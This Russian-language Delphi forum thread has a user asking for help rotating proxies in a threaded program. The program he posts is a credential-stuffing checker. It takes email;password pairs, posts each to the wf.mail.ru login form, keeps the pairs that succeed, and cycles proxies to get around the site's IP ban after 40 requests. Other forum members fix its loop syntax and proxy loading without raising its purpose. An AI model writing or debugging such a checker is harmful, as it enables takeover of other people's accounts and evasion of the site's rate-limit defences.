Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 01.01.2013, 10:39   #1
admin22
Пользователь
 
Регистрация: 27.09.2011
Сообщений: 26
По умолчанию Прокси в потоках

С Новым годом)
Суть такова, что после 40 запров сервер выдает бан по IP, поэтому нужно посылать пост запросы через прокси, которые лежат в мемо. Вот что я примерно набросал:
Код:
for g:=0 to proxy.count do
idhttp1.proxyparams.proxyserver:=Copy(Proxy[g], 1, Pos(':',Proxy[g])-1); //Копируем адрес
idhttp1.proxyparams.proxyport:=Copy(Proxy[g], Pos(':', Proxy[g])+1, Length(Proxy[g])); //Копируем порт

Но почему то прокси браться не хотят. Надеюсь на вашу помощь. Заранее спасибо.

Последний раз редактировалось admin22; 01.01.2013 в 12:25.
admin22 вне форума Ответить с цитированием
Старый 01.01.2013, 11:27   #2
Кольша
Далеко не
Участник клуба
 
Аватар для Кольша
 
Регистрация: 11.08.2011
Сообщений: 1,512
По умолчанию

Код:
for g:=0 to proxy.count-1 do begin
idhttp1.proxyparams.proxyserver:=Copy(Proxy[g], 1, Pos(':',Proxy[g])-1); //Копируем адрес
idhttp1.proxyparams.proxyport:=Copy(Proxy[g], Pos(':', Proxy[g])+1, Length(Proxy[g])); //Копируем порт
end;
Кольша вне форума Ответить с цитированием
Старый 01.01.2013, 12:42   #3
admin22
Пользователь
 
Регистрация: 27.09.2011
Сообщений: 26
По умолчанию


Код:
procedure TMyThread.Execute;
var
    i,l,good,bad,g:Integer;
    email,pass,s1:string;
  Data,proxy:tStringlist;

begin
  inherited;
  g:=0;
try
idHTTP1:=TIdHTTP.Create(nil);
idhttp1.AllowCookies := true;
idhttp1.HandleRedirects := true;
idhttp1.Request.Host:=('сайт');
idhttp1.Request.UserAgent := 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0';
idhttp1.Request.Referer:='сайт/user' ;
proxy:=TStringList.Create;
proxy.Add(form2.sMemo3.text);

for i:=0 to form2.smemo1.Lines.Count do begin

for g := 0 to proxy.Count -1 do
idhttp1.proxyparams.proxyserver:=Copy(Proxy[g], 1, Pos(':',Proxy[g])-1); //Копируем адрес
idhttp1.proxyparams.proxyport:=strtoint (Copy(Proxy[g], Pos(':', Proxy[g])+1, Length(Proxy[g]))); //Копируем порт

email:='';
pass:='';
...
admin22 вне форума Ответить с цитированием
Старый 01.01.2013, 19:45   #4
snip4ik
Пользователь
 
Регистрация: 01.01.2013
Сообщений: 27
По умолчанию

Код:
for g := 0 to proxy.Count -1 do begin
idhttp1.proxyparams.proxyserver:=Copy(Proxy[g], 1, Pos(':',Proxy[g])-1); //Копируем адрес
idhttp1.proxyparams.proxyport:=strtoint (Copy(Proxy[g], Pos(':', Proxy[g])+1, Length(Proxy[g]))); //Копируем порт
end;
snip4ik вне форума Ответить с цитированием
Старый 01.01.2013, 20:07   #5
Кольша
Далеко не
Участник клуба
 
Аватар для Кольша
 
Регистрация: 11.08.2011
Сообщений: 1,512
По умолчанию

snip4ik, а чем ваш код отличается от моего???))
Кольша вне форума Ответить с цитированием
Старый 01.01.2013, 20:12   #6
Базиля
Участник клуба
 
Аватар для Базиля
 
Регистрация: 03.12.2009
Сообщений: 1,013
По умолчанию

snip4ik указывает на то, что admin22 забыл о операторных скобках.
Базиля вне форума Ответить с цитированием
Старый 02.01.2013, 10:35   #7
admin22
Пользователь
 
Регистрация: 27.09.2011
Сообщений: 26
По умолчанию

Пост запрос почему то не отправляется. Воткнул в мемо несколько прокси и выдает вот такую ошибку:

Код:
Код:
unit Unit2;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, sSkinManager, sPanel, StdCtrls, sGroupBox, sMemo,
  sEdit, sLabel, sCheckBox, sGauge, ComCtrls, sStatusBar, Mask, sMaskEdit,
  sCustomComboEdit, sTooledit, sButton, IdCookieManager, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP, IdBaseComponent, IdAntiFreezeBase,
  IdAntiFreeze, acProgressBar, sComboEdit;

type
  TForm2 = class(TForm)
    sSkinManager1: TsSkinManager;
    sMemo1: TsMemo;
    sStatusBar1: TsStatusBar;
    OpenDialog1: TOpenDialog;
    sMemo2: TsMemo;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton4: TsButton;
    IdAntiFreeze1: TIdAntiFreeze;
    IdCookieManager1: TIdCookieManager;
    sGroupBox5: TsGroupBox;
    sLabelFX3: TsLabelFX;
    sLabelFX4: TsLabelFX;
    sButton3: TsButton;
    sLabelFX6: TsLabelFX;
    sLabelFX7: TsLabelFX;
    sLabelFX8: TsLabelFX;
    sLabelFX10: TsLabelFX;
    sLabelFX11: TsLabelFX;
    sLabelFX12: TsLabelFX;
    sGauge1: TsGauge;
    sLabelFX1: TsLabelFX;
    sLabelFX2: TsLabelFX;
    sLabelFX5: TsLabelFX;
    sLabelFX13: TsLabelFX;
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sMemo3: TsMemo;
    sButton5: TsButton;
    IdHTTP1: TIdHTTP;

    procedure sButton4Click(Sender: TObject);

    procedure sButton1Click(Sender: TObject);
    procedure sMemo1Change(Sender: TObject);
    procedure sButton5Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

   //Здесь необходимо описать класс TMyThread:
  TMyThread = class(TThread)
    private
    IdHTTP1: TIdHTTP;
    { Private declarations }
  protected
    procedure Execute; override;
  end;





var
  Form2: TForm2;
  MyThread: TMyThread;
  g,t:integer;

implementation

{$R *.dfm}

procedure TForm2.sButton1Click(Sender: TObject);
var
    i,l,good,bad:Integer;
    email,pass,s1,s2:string;
  Data:tStringlist;

begin
//Вначале нужно создать экземпляр потока:
  MyThread:=TMyThread.Create(true);
//Параметр False запускает поток сразу после создания, True - запуск впоследствии , методом Resume
//Далее можно указать параметры потока, например приоритет:
  MyThread.Priority:=tpNormal;
//Можно указать что после завершения кода поток завершится автоматически:
  MyThread.FreeOnTerminate:=false;
   MyThread.Resume;
   slabelfx13.caption:='Работаем'

end;


procedure TMyThread.Execute;
var
    i,l,good,bad,g:Integer;
    email,pass,s1:string;
  Data,proxy:tStringlist;

begin
  inherited;
  g:=0;
try
idHTTP1:=TIdHTTP.Create(nil);
idhttp1.AllowCookies := true;
idhttp1.HandleRedirects := true;
idhttp1.Request.Host:=('wf.mail.ru');
idhttp1.Request.UserAgent := 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0';
idhttp1.Request.Referer:='http://wf.mail.ru/user' ;
proxy:=TStringList.Create;
proxy.Add(form2.sMemo3.text);

for i:=0 to form2.smemo1.Lines.Count do begin

for g := 0 to proxy.Count -1 do   begin
idhttp1.proxyparams.proxyserver:=Copy(Proxy[g], 1, Pos(':',Proxy[g])-1); //Копируем адрес
idhttp1.proxyparams.proxyport:=strtoint (Copy(Proxy[g], Pos(':', Proxy[g])+1, Length(Proxy[g]))); //Копируем порт
end;
email:='';
pass:='';
email:=trim(copy(form2.smemo1.Lines[i],1,pos(';',form2.smemo1.Lines[i])-1));
pass:=trim(copy(form2.smemo1.Lines[i],pos(';',form2.smemo1.Lines[i])+1,length(form2.smemo1.Lines[i])-pos(';',form2.smemo1.Lines[i])+1));
data:=TStringList.Create;
data.Clear;
data.add('name='+email);
data.add('pass='+pass);
data.add('op=%D0%92%D1%85%D0%BE%D0%B4+%D0%B2+%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D1%83');
data.add('form_build_id=form-6d1652dd1259cd84e60af5e57ee4f61f');
data.add('form_id=user_login' );
form2.sGauge1.progress:=i;
form2.sLabelFX2.Caption:= inttostr (i);
s1:=idhttp1.post ('http://wf.mail.ru/user',data);
if pos ('Время участия',s1)>0 then  begin
form2.sLabelFX2.Caption:= inttostr (i);
form2.smemo2.lines.add (form2.smemo1.lines[i]);
good:=good+1; form2.slabelfx10.Caption:= inttostr (good) end
else
bad:=bad+1; form2.slabelfx12.Caption:= inttostr (bad)
end;
finally
inc(g);
s1:='';
data.free;
email:='';
pass:='';
form2.slabelfx13.caption:=' Не работаем'
end;end;end.
admin22 вне форума Ответить с цитированием
Старый 02.01.2013, 12:05   #8
Кольша
Далеко не
Участник клуба
 
Аватар для Кольша
 
Регистрация: 11.08.2011
Сообщений: 1,512
По умолчанию

надо прокси вводить с каждой строчки новый..
и еще
Код:
proxy.Add(form2.sMemo3.text);
замените на 
proxy:=form2.sMemo3.lines;
//вы пишите такой быдло код что аж плакать хочется...
Кольша вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Сокеты в потоках unmazable Общие вопросы Delphi 0 12.03.2012 13:35
Canvas в потоках demigod82 Общие вопросы Delphi 9 05.03.2012 08:51
синхронизация в потоках xrob Общие вопросы Delphi 8 15.11.2010 17:25
Suspend и Resume в потоках (C#) lot555 C# (си шарп) 0 31.10.2010 20:37